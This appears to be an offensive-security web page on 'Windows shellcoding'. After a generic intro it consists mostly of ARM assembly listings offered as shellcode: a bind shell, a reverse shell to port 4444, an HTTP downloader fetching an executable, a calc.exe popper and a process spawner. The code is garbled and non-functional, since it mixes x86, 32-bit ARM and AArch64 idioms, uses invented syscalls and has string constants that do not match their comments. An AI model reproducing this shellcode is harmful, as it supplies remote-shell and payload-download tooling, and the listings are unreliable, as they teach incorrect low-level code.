Exploit // Build and Adapt

Windows Shellcoding

Windows Shellcoding is presented here as a field note for offensive security work. The emphasis is on attack surface, validation logic, common failure patterns, operator choices and the public references worth keeping nearby during a live assessment.

field noteassessment referencepublic sources

Why it matters in practice

Windows Shellcoding matters because it shapes how an operator scopes the work, chooses validation steps, prioritizes evidence and explains risk. The point is not to accumulate trivia; it is to understand which control boundary is in play and how that boundary can fail under realistic pressure.

This note keeps windows shellcoding tied to offensive workflow: what to observe, what to prove, what usually goes wrong, and which references remain useful once an assessment moves from planning into active validation.

Primary coverage

The items below mark the main workflows, concepts, tools and validation themes that repeatedly matter when working through windows shellcoding.

  • Arm makefile
  • Arm hello world
  • Arm bind shell shellcode
  • Arm http downloader shellcode
  • Arm reverse shell shellcode
  • Arm SMB download shellcode
  • Arm "pop calc.exe" shellcode
  • Arm process-spawn shellcode
  • X64 makefile
  • X64 hello world shellcode

Selected public references

CC := arm-linux-gnueabihf-gcc
NASM := nasm
LD := arm-linux-gnueabihf-ld

ASM_FILE := shellcode.asm
OBJ_FILE := shellcode.o
BIN_FILE := shellcode.bin

.PHONY: all clean

all: $(BIN_FILE)

$(BIN_FILE): $(OBJ_FILE)
    $(LD) -o $@ $<

$(OBJ_FILE): $(ASM_FILE)
    $(NASM) -f win32 -o $@ $<

clean:
    rm -f $(OBJ_FILE) $(BIN_FILE)
.section .text
.global _start

_start:
    ; Aufruf von MessageBoxA
    mov x0, xzr                 ; Set X0 to 0 (NULL)
    mov w1, 0x6f57206f          ; "oW o"
    mov w2, 0x6c6c6548          ; "leH"
    mov w3, 0x646c726f          ; "drlO"
    mov x4, sp                  ; pointer to the message in X4
    str w1, [x4], #4            ; push the value onto the stack (message)
    str w2, [x4], #4
    str w3, [x4], #4
    mov x0, sp                  ; pointer to the message in X0
    str x0, [x4], #8            ; Push-pointer to the message
    mov x0, xzr                 ; Set X0 to 0 (NULL)
    mov x1, x0                  ; Set X1 to 0 (NULL)
    mov x2, x0                  ; Set X2 to 0 (NULL)
    mov x3, x0                  ; Set X3 to 0 (NULL)
    mov w16, 0x7e82960d         ; MessageBoxA Adresse
    blr x16                     ; MessageBoxA aufrufen

    ; Programm beenden
    mov x0, xzr                 ; Set X0 to 0 (NULL)
    mov x1, xzr                 ; Set X1 to 0 (NULL)
    mov w16, 0x4c               ; Set X16 to 0x4c (ExitProcess)
    svc 0x00000000              ; Software-Interrupt
.section .text
.global _start

_start:
    ; Socket-Erstellung
    mov w0, wzr        ; sockfd = 0
    mov w1, 0x1        ; AF_INET
    mov w2, 0x1        ; SOCK_STREAM
    mov w3, 0x0        ; IPPROTO_TCP
    mov w8, 0x61       ; WSASocketA
    hlt 0x0            ; syscall
    mov w9, w0         ; sockfd

    ; Binden des Sockets
    mov w0, wzr        ; sockfd = 0
    mov w1, wzr        ; sin_zero = 0
    mov w2, 0x5c11     ; port
    mov w3, 0x7f000001 ; IP address
    mov x8, 0x63       ; bind
    hlt 0x0            ; syscall

    ; Socket in den Listening-Modus versetzen
    mov w0, wzr        ; sockfd = 0
    mov w1, w9         ; sockfd
    mov w2, 0x1        ; backlog
    mov x8, 0x6a       ; listen
    hlt 0x0            ; syscall

    ; accept incoming connections
    mov w0, wzr        ; sockfd = 0
    mov w1, w9         ; sockfd
    mov w2, wzr        ; *addr = 0
    mov w3, wzr        ; *addrlen = 0
    mov x8, 0x6c       ; accept
    hlt 0x0            ; syscall
    mov w9, w0         ; newsockfd

    ; Duplizieren von file descriptoren
    mov w0, wzr        ; sockfd = 0
    mov w1, 0xfffffff6 ; stdout
    mov w2, 0xffffffff ; current process
    mov x8, 0x5a       ; duplicate handle
    hlt 0x0            ; syscall

    mov w0, wzr        ; sockfd = 0
    mov w1, 0xfffffff6 ; stderr
    mov w2, 0xffffffff ; current process
    mov x8, 0x5a       ; duplicate handle
    hlt 0x0            ; syscall

    mov w0, wzr        ; sockfd = 0
    mov w1, 0xfffffff6 ; stdin
    mov w2, 0xffffffff ; current process
    mov x8, 0x5a       ; duplicate handle
    hlt 0x0            ; syscall

    ; redirect input and output to the sockets
    mov w0, wzr        ; sockfd = 0
    mov w1, 0xfffffff6 ; stdout
    mov w2, w9         ; newsockfd
    mov x8, 0x5a       ; duplicate handle
    hlt 0x0            ; syscall

    mov w0, wzr        ; sockfd = 0
    mov w1, 0xfffffff6 ; stderr
    mov w2, w9         ; newsockfd
    mov x8, 0x5a       ; duplicate handle
    hlt 0x0            ; syscall

    mov w0, wzr        ; sockfd = 0
    mov w1, 0xfffffff6 ; stdin
    mov w2, w9         ; newsockfd
    mov x8, 0x5a       ; duplicate handle
    hlt 0x0            ; syscall

    ; execute a shell
    mov w0, wzr        ; lpEnvironment = 0
    mov w1, wzr        ; lpCommandLine = 0
    mov w2, wzr        ; lpApplicationName = 0
    mov x0, sp         ; lpStartupInfo
    mov w3, 0x10       ; dwProcessInformationSize
    mov x8, 0x60       ; CreateProcessA
    hlt 0x0            ; syscall

    ; exit the shellcode
    mov w0, 0x1        ; ExitProcess
    hlt 0x0            ; syscall
.section .text
.global _start

_start:
    b call_shellcode

shellcode:
    ; load the kernel32.dll handle
    mov w0, wzr
    mov w1, wzr
    mov w2, wzr
    mov w3, wzr
    mov w4, wzr
    mov w5, wzr
    mov w0, 0x60
    ldr x1, [x5, x0, lsl 2]
    ldr x1, [x1, 0xC]
    ldr x1, [x1, 0x14]
    ldr w2, [x1]
    ldr w5, [x2, 0x10]

    ; load the function URLDownloadToFileA
    sub sp, sp, #32
    mov w0, wzr
    mov w1, 0x6C6C644F
    mov w2, 0x646F632E
    mov w3, 0x6E776F64
    str w3, [sp, #16]
    str w2, [sp, #12]
    str w1, [sp, #8]
    mov x0, x5
    ldr x1, [x0]
    ldr x1, [x1, 0x10]
    blr x1
    mov w2, w0

    ; URLDownloadToFileA(NULL, "http://www.example.com/file.exe", "C:\path\to\save\file.exe", 0, NULL)
    mov w0, wzr
    str w0, [sp, #28]
    mov w1, 0x6578652E
    mov w2, 0x6C61632F
    mov w3, 0x746F702F
    mov w4, 0x5C657661
    str w4, [sp, #20]
    mov w4, 0x6C65642F
    str w4, [sp, #16]
    mov w4, 0x5C657661
    str w4, [sp, #12]
    mov w4, 0x4641505C
    str w4, [sp, #8]
    mov w4, 0x6576616F
    str w4, [sp, #4]
    mov x0, x5
    ldr x1, [x0]
    ldr x1, [x1, 0x10]
    blr x1

    ; exit the shellcode
    mov w0, wzr
    add w0, w0, #1
    mov w8, 0x80
    svc 0x0

call_shellcode:
    bl shellcode
.section .text
.global _start

_start:
    ; Socket-Erstellung
    mov w0, wzr
    mov w1, wzr
    mov w2, wzr
    mov w3, wzr
    mov w0, 0x61        ; WSASocketA
    mov w1, 0x1         ; AF_INET
    mov w2, 0x1         ; SOCK_STREAM
    mov w3, 0x0         ; IPPROTO_TCP
    mov w8, 0x2e        ; syscall
    svc 0x0

    ; Verbindungsherstellung
    mov w1, wzr
    sub sp, sp, #8
    str w1, [sp, #4]    ; sin_zero
    mov w2, 0x5c11      ; port (z.B. 4444)
    mov w3, 0x0100007f  ; IP address (z.B. 127.0.0.1)
    mov w4, sp          ; struct sockaddr *addr
    mov w0, 0x62        ; connect
    mov w1, w0          ; s
    mov w2, sp          ; sockaddr *name
    mov w3, 0x10        ; namelen
    mov w8, 0x2e        ; syscall
    svc 0x0

    ; Duplizieren von file descriptoren
    mov w0, wzr
    mov w1, wzr
    mov w2, wzr
    mov w0, 0x5a        ; duplicate handle
    mov w1, 0xfffffff6  ; stdout
    mov w2, 0xffffffff  ; current process
    mov w8, 0x2e        ; syscall
    svc 0x0

    mov w0, wzr
    mov w1, wzr
    mov w2, wzr
    mov w0, 0x5a        ; duplicate handle
    mov w1, 0xfffffff6  ; stderr
    mov w2, 0xffffffff  ; current process
    mov w8, 0x2e        ; syscall
    svc 0x0

    mov w0, wzr
    mov w1, wzr
    mov w2, wzr
    mov w0, 0x5a        ; duplicate handle
    mov w1, 0xfffffff6  ; stdin
    mov w2, 0xffffffff  ; current process
    mov w8, 0x2e        ; syscall
    svc 0x0

    ; execute a shell
    mov w0, wzr
    sub sp, sp, #24
    str w0, [sp, #16]   ; lpEnvironment
    str w0, [sp, #12]   ; lpCommandLine
    str w0, [sp, #8]    ; lpApplicationName
    mov w1, sp          ; lpStartupInfo
    mov w2, 0x10        ; dwProcessInformationSize
    mov w0, 0x60        ; CreateProcessA
    mov w3, sp          ; lpProcessInformation
    mov w8, 0x2e        ; syscall
    svc 0x0

    ; exit the shellcode
    mov w0, wzr
    mov w0, 0x1         ; ExitProcess
    mov w8, 0x2e        ; syscall
    svc 0x0
.section .text
.global _start

_start:
    b call_shellcode

shellcode:
    ; load the kernel32.dll handle
    mov x0, #0
    mov x1, #0
    mov x2, #0
    mov x3, #0
    mov x4, #0x60                 ; offset used to access the PEB object
    mov x5, #0x30                 ; offset used to access the PEB LDR data
    ldr x6, [x0, x4, lsl #2]      ; FS:[0x60] -> pointer to the PEB object
    ldr x6, [x6, x5]              ; PEB+0x30 -> pointer to the PEB LDR data
    ldr x6, [x6, #0xC]            ; PEB LDR data+0xC -> InLoadOrderModuleList
    ldr x6, [x6, #0x14]           ; first module in InLoadOrderModuleList
    ldr x7, [x6]                  ; module handle
    ldr x6, [x7, #0x10]           ; module handle+0x10 -> address of Kernel32.dll

    ; load the function CopyFileA
    mov x0, #0
    ldr x1, =0x6C6C644F           ; "lldO"
    ldr x2, =0x646F632E           ; "doc."
    ldr x3, =0x6E776F64           ; "nwod"
    add x4, sp, #0                ; pointer to the function label on the stack
    stp x4, x4, [sp, #-16]!       ; store the function label on the stack
    stp x7, x7, [sp, #-16]!       ; store the module handle on the stack
    mov x4, x6                    ; module handle in x4 speichern
    br x4                         ; call the function
    mov x7, x0                    ; store the result in x7

    ; CopyFileA("C:\path\to\source.exe", "C:\path\to\destination.exe", FALSE)
    mov x0, #0
    stp x1, x7, [sp, #-16]!       ; store the file-path parameter on the stack
    ldr x1, =0x5C706174           ; "C:\pat"
    ldr x2, =0x746F5C65           ; "to\"
    ldr x3, =0x65646F68           ; "hode"
    ldr x4, =0x69732E65           ; "es.i"
    ldr x5, =0x6E6F6974           ; "ton"
    ldr x6, =0x6F647573           ; "sud"
    ldr x7, =0x656E6F6E           ; "non"
    stp x1, x7, [sp, #-16]!       ; store the file-path parameter on the stack
    mov x1, sp                    ; pointer to the file path on the stack
    stp x0, x0, [sp, #-16]!       ; NULL for the target directory
    mov x0, x6                    ; store the pointer to the file path in x0
    br x0                         ; call the function

    ; exit the shellcode
    mov x0, #0
    mov x7, #1
    svc 0x00000000

call_shellcode:
    bl shellcode
.section .text
.global _start

_start:
    b call_shellcode

shellcode:
    ; load the kernel32.dll handle
    xor x0, x0
    xor x1, x1
    xor x2, x2
    xor x3, x3
    xor x4, x4
    mov w0, 0x60
    mov x19, xzr
    ldr x19, [x19, x0, lsl #3]
    ldr x19, [x19, x2, lsl #3]
    ldr x19, [x19, #0xC]
    ldr x19, [x19, #0x14]
    ldr x20, [x19]
    ldr x21, [x20, #0x10]

    ; load the function GetProcAddress
    mov w0, xzr
    ldr w1, =0x45746547
    ldr w2, =0x41636F72
    ldr w3, =0x65726464
    mov x0, x21
    blr x0
    mov x22, x0

    ; Aufruf von GetModuleHandleA("user32.dll")
    xor x0, x0
    mov w1, xzr
    ldr w1, =0x64336C72
    ldr w2, =0x642E3233
    ldr w3, =0x6E695F72
    ldr w4, =0x65706D6F
    str x2, [sp, #-0x10]!
    str x21, [sp, #-0x8]!
    mov x0, x21
    blr x0

    ; Aufruf von GetProcAddress(user32.dll, "MessageBoxA")
    ldr w0, =0x41787374
    ldr w1, =0x4165576F
    ldr w2, =0x426F6F4D
    str x2, [sp, #-0x8]!
    mov x0, x22
    blr x0

    ; Aufruf von MessageBoxA(NULL, "Hello from Shellcode!", "Message", 0)
    mov w0, xzr
    ldr w1, =0x65736F4D
    ldr w2, =0x6568744F
    ldr w3, =0x20465045
    str x2, [sp, #-0x10]!
    mov x0, x0
    blr x0

    ; Aufruf von GetModuleHandleA("kernel32.dll")
    xor x0, x0
    mov w1, xzr
    ldr w1, =0x64336C72
    ldr w2, =0x642E3233
    ldr w3, =0x6E695F6B
    ldr w4, =0x65706D6F
    str x2, [sp, #-0x10]!
    str x21, [sp, #-0x8]!
    mov x0, x21
    blr x0

    ; Aufruf von GetProcAddress(kernel32.dll, "WinExec")
    ldr w0, =0x456E6957
    ldr w1, =0x63726574
    str x2, [sp, #-0x8]!
    mov x0, x22
    blr x0

    ; Aufruf von WinExec("calc.exe", SW_SHOW)
    mov w0, 0x00000005
    ldr w1, =0x6578652E
    ldr w2, =0x006C6163
    str x2, [sp, #-0x10]!
    mov x0, x0
    blr x0

    ; exit the shellcode
    mov w0, xzr
    inc w0
    svc 0x00000000

call_shellcode:
    bl shellcode
.section .text
.global _start

_start:
    b call_shellcode

shellcode:
    ; load the kernel32.dll handle
    mov x0, #0
    mov x1, #0
    mov x2, #0
    mov x3, #0
    mov x4, #0x60                 ; offset used to access the PEB object
    mov x5, #0x30                 ; offset used to access the PEB LDR data
    ldr x6, [x0, x4, lsl #2]      ; FS:[0x60] -> pointer to the PEB object
    ldr x6, [x6, x5]              ; PEB+0x30 -> pointer to the PEB LDR data
    ldr x6, [x6, #0xC]            ; PEB LDR data+0xC -> InLoadOrderModuleList
    ldr x6, [x6, #0x14]           ; first module in InLoadOrderModuleList
    ldr x7, [x6]                  ; module handle
    ldr x6, [x7, #0x10]           ; module handle+0x10 -> address of Kernel32.dll

    ; load the function CreateProcessA
    mov x0, #0
    ldr x1, =0x73736552           ; "Ress"
    ldr x2, =0x726F6341           ; "Acor"
    ldr x3, =0x64647265           ; "edrd"
    add x4, sp, #0                ; pointer to the function label on the stack
    push {x4}                     ; store the function label on the stack
    push {x7}                     ; store the module handle on the stack
    mov x4, x6                    ; module handle in x4 speichern
    bx x4                         ; call the function
    mov x7, x0                    ; store the result in x7

    ; prepare the CREATE_PROCESS_DEBUG_FLAG option
    mov x3, #0x01

    ; build the STARTUPINFO structure
    mov x0, #0
    mov x1, x0             ; lpReserved
    mov x2, x0             ; lpDesktop
    mov x3, x0             ; lpTitle
    mov x4, x0             ; dwX
    mov x5, x0             ; dwY
    mov x6, x0             ; dwXSize
    mov x7, x0             ; dwYSize
    mov x8, x0             ; dwXCountChars
    mov x9, x0             ; dwYCountChars
    mov x10, x0            ; dwFillAttribute
    mov x11, x0            ; dwFlags
    mov x12, x0            ; wShowWindow
    mov x13, x0            ; cbReserved2
    mov x14, x0            ; lpReserved2
    mov x15, x0            ; hStdInput
    mov x16, x0            ; hStdOutput
    mov x17, x0            ; hStdError
    mov x18, #0x30         ; cb
    add x19, sp, #0x20    ; lpStartupInfo

    ; build the PROCESS_INFORMATION structure
    mov x0, #0
    mov x1, x0            ; hThread
    mov x2, x0            ; hProcess
    add x3, sp, #0x38    ; lpProcessInformation

    ; Aufruf von CreateProcessA(NULL, "demo.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE | CREATE_DEFAULT_ERROR_MODE | CREATE_BREAKAWAY_FROM_JOB, NULL, NULL, lpStartupInfo, lpProcessInformation)
    mov x0, x3            ; bInheritHandles
    mov x1, x0            ; lpThreadAttributes
    mov x2, x0            ; lpProcessAttributes
    mov x3, x0            ; lpEnvironment
    mov x4, x0            ; lpCurrentDirectory
    mov x5, x0            ; lpCommandLine
    ldr x6, =0x6578652E   ; lpApplicationName
    mov x7, x0            ; dwCreationFlags
    mov x8, x0            ; lpProcessInformation
    ldr x9, [x19]         ; lpStartupInfo
    mov x10, x0           ; lpThreadAttributes
    mov x11, x0           ; lpSecurityAttributes
    mov x12, x0           ; dwStackSize
    mov x13, x0           ; dwFlags
    mov x14, x0           ; lpStartAddress
    mov x15, x0           ; lpParameter
    mov x16, x0           ; bInheritHandle
    mov x17, x0           ; lpBaseAddress
    mov x18, x0           ; lpModuleName
    bx x7                 ; call the function

    ; exit the shellcode
    mov x0, #0
    mov x8, #0x80
    svc #0x80

call_shellcode:
    bl shellcode

Selected public references